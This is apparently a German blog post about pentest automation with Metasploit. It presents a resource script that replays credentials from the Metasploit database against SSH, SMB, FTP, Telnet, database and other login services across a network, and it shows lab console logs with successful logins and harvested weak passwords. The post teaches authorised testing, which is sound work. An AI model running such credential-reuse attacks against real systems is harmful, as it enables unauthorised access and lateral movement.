no one is safe ...

Automatisierung im Rahmen eines Pentests - part 6 (password fu)

Im Rahmen typischer Pentests werden auch Angriffe auf unterschiedliche Loginservices durchgeführt. Metasploit bringt hierfür eine Vielzahl unterschiedlicher Module mit. Sucht einfach nach Auxiliary Modulen welche im Namen "_login" inkludiert haben. Werden im Rahmen dieser Bruteforce Vorgänge verschiedene Credentials erkannt, kann die creds Abfrage beispielsweise folgendermaßen ausschauen:

10.8.28.2 - (Sessions: 0 Jobs: 0)> creds

Credentials
===========

host           port  user       pass                 type         active?
----           ----  ----       ----                 ----         -------
192.168.44.22  21    anonymous  mozilla@example.com  password_ro  true
192.168.44.23  21    anonymous  mozilla@example.com  password_ro  true
192.168.44.23  22    test       test                 password     true
192.168.44.26  445   bob        bob                  password     true
192.168.44.26  21    anonymous  mozilla@example.com  password_ro  true

[*] Found 5 credentials.

User haben so die Angewohnheit dass sie Passwörter immer wieder verwenden. Die erkannten Passwörter sollten also im Rahmen weiterer Tests gegen jeden Login-Service im zu analysierenden Netzwerk geprüft werden. Unter Umständen öffnet ein bereits ermitteltes Credential Set Zugriff auf andere System über andere Services. Dieser Vorgang gestaltet sich typischerweise überaus langwierig und fehleranfällig. Um diese Tests zu vereinfachen gibt es jetzt das "auto_cred_checker.rc"-Resource File, welches die Credentials der Metasploit Datenbank abfragt und diese mit folgenden Modulen automatisch gegen das restliche Netzwerk zum Einsatz bringt:

  • auxiliary/scanner/smb/smb_login
  • auxiliary/scanner/ftp/ftp_login
  • auxiliary/scanner/ssh/ssh_login
  • auxiliary/scanner/telnet/telnet_login
  • auxiliary/scanner/mysql/mysql_login
  • auxiliary/scanner/vnc/vnc_login
  • auxiliary/scanner/mssql/mssql_login
  • auxiliary/scanner/pop3/pop3_login
  • auxiliary/scanner/postgres/postgres_login

Das Resource File ist überaus einfach anzuwenden und hat als Konfigurationsoption ausschließlich den VERBOSE Parameter. Es werden die Passwörter der Reihe nach durchlaufen und gegen alle dargestellten Loginservices getestet:

10.8.28.2 - (Sessions: 0 Jobs: 0)> setg VERBOSE true
VERBOSE => true
10.8.28.2 - (Sessions: 0 Jobs: 0)> resource auto
resource auto_brute.rc          resource auto_cred_checker.rc   resource auto_pass_the_hash.rc  resource autocrawler.rc
10.8.28.2 - (Sessions: 0 Jobs: 0)> resource auto_cred_checker.rc
[*] Processing /opt/metasploit4/apps/pro/msf3/scripts/resource/auto_cred_checker.rc for ERB directives.
[*] resource (/opt/metasploit4/apps/pro/msf3/scripts/resource/auto_cred_checker.rc)> Ruby Code (10690 bytes)
ssh_login

====================================
IP: 192.168.44.1
OS: Linux
Servicename: ssh
Service Port: 22
Service Protocol: tcp
User: anonymous
Pass: mozilla@example.com
====================================

RHOSTS => 192.168.44.1
RPORT => 22
Unsetting USER_FILE...
Unsetting PASS_FILE...
BLANK_PASSWORDS => false
USER_AS_PASS => false
USERNAME => anonymous
PASSWORD => mozilla@example.com
VERBOSE => true
[*] Auxiliary module running as background job
smb_login

====================================
IP: 192.168.44.3
OS: Unknown
Servicename: netbios-ssn

Service Port: 139
[*] [2012.02.29-16:32:43] 192.168.44.1:22 SSH - Starting bruteforce
Service Protocol: tcp
[*] [2012.02.29-16:32:43] 192.168.44.1:22 SSH - [1/1] - Trying: username: 'anonymous' with password: 'mozilla@example.com'
User: anonymous
Pass: mozilla@example.com
====================================
<snip>
RHOSTS => 192.168.44.84
[*] [2012.02.29-16:44:49] 192.168.44.82:23 Telnet - [1/1] - Attempting: 'bob':'bob'
RPORT => 5432
Unsetting USER_FILE...
Unsetting PASS_FILE...
Unsetting USERPASS_FILE...
BLANK_PASSWORDS => false
USER_AS_PASS => false
USERNAME => bob
PASSWORD => bob
VERBOSE => true
[*] Auxiliary module running as background job
[*] [2012.02.29-16:44:50] 192.168.44.84:5432 Postgres - [1/1] - Trying username:'bob' with password:'bob' on database 'template1'
[-] [2012.02.29-16:44:50] 192.168.44.84:5432 Postgres - Invalid username or password: 'bob':'bob'
[-] [2012.02.29-16:44:50] 192.168.44.84:5432 Postgres - [1/1] - Username/Password failed.
[*] [2012.02.29-16:44:50] Scanned 1 of 1 hosts (100% complete)
[*] [2012.02.29-16:44:50] 192.168.44.64:23 TELNET - [1/1] - Banner: Ubuntu 8.04 metasploitable-64 login:
[*] [2012.02.29-16:44:50] 192.168.44.64:23 TELNET - [1/1] - Prompt: Password:
[-] [2012.02.29-16:44:50] 192.168.44.84:22 SSH - [1/1] - Failed: 'bob':'bob'
[*] [2012.02.29-16:44:50] Scanned 1 of 1 hosts (100% complete)
[*] [2012.02.29-16:44:51] 192.168.44.74:3306 MYSQL - [1/1] - Found remote MySQL version 5.0.51a
[*] [2012.02.29-16:44:51] 192.168.44.74:3306 MYSQL - [1/1] - Trying username:'bob' with password:'bob'
[+] [2012.02.29-16:44:51] 192.168.44.81:3306 - SUCCESSFUL LOGIN 'bob' : 'bob'
[*] [2012.02.29-16:44:51] Scanned 1 of 1 hosts (100% complete)
[-] waiting for finishing some modules... active jobs: 12 / threads: 32
smb_login

====================================
IP: 192.168.44.84
OS: Linux
Servicename: smb
Service Port: 139
Service Protocol: tcp
User: bob
Pass: bob
====================================

RHOSTS => 192.168.44.84
RPORT => 139
Unsetting USER_FILE...
Unsetting PASS_FILE...
BLANK_PASSWORDS => false
USER_AS_PASS => false
SMBUser => bob
SMBPass => bob
VERBOSE => true
<snip>

Dieses Skript wird dann je nach Umfang der zu analysierenden Services eine Zeit lang arbeiten und zum Abschluss hat man dann evtl. weitere Systeme und Services auf die Zugriff erlangt wurde. In folgender Ausgabe erkennen wir dass die Credentials auch auf SSH, Telnet und MySQL Services zum Einsatz kamen:

<snip>
192.168.44.92   22    test       test                 password     true
192.168.44.92   23    test       test                 password     true
192.168.44.92   21    bob        bob                  password     true
192.168.44.92   21    test       test                 password     true
192.168.44.101  3306  anonymous  mozilla@example.com  password     true
192.168.44.101  3306  bob        bob                  password     true
192.168.44.101  3306  test       test                 password     true
192.168.44.102  21    test       test                 password     true
192.168.44.102  22    bob        bob                  password     true
192.168.44.102  21    bob        bob                  password     true
192.168.44.102  23    bob        bob                  password     true
192.168.44.102  22    test       test                 password     true
192.168.44.102  23    test       test                 password     true

[*] Found 86 credentials.

Falls ihr weitere Informationen zu Metasploit benötigt findet ihr diese in meinem Buch. Erste Probekapitel findet ihr zudem auf der dpunkt-Webseite. Das Buch lässt sich natürlich auf Amazon bestellen.

have phun,
mIke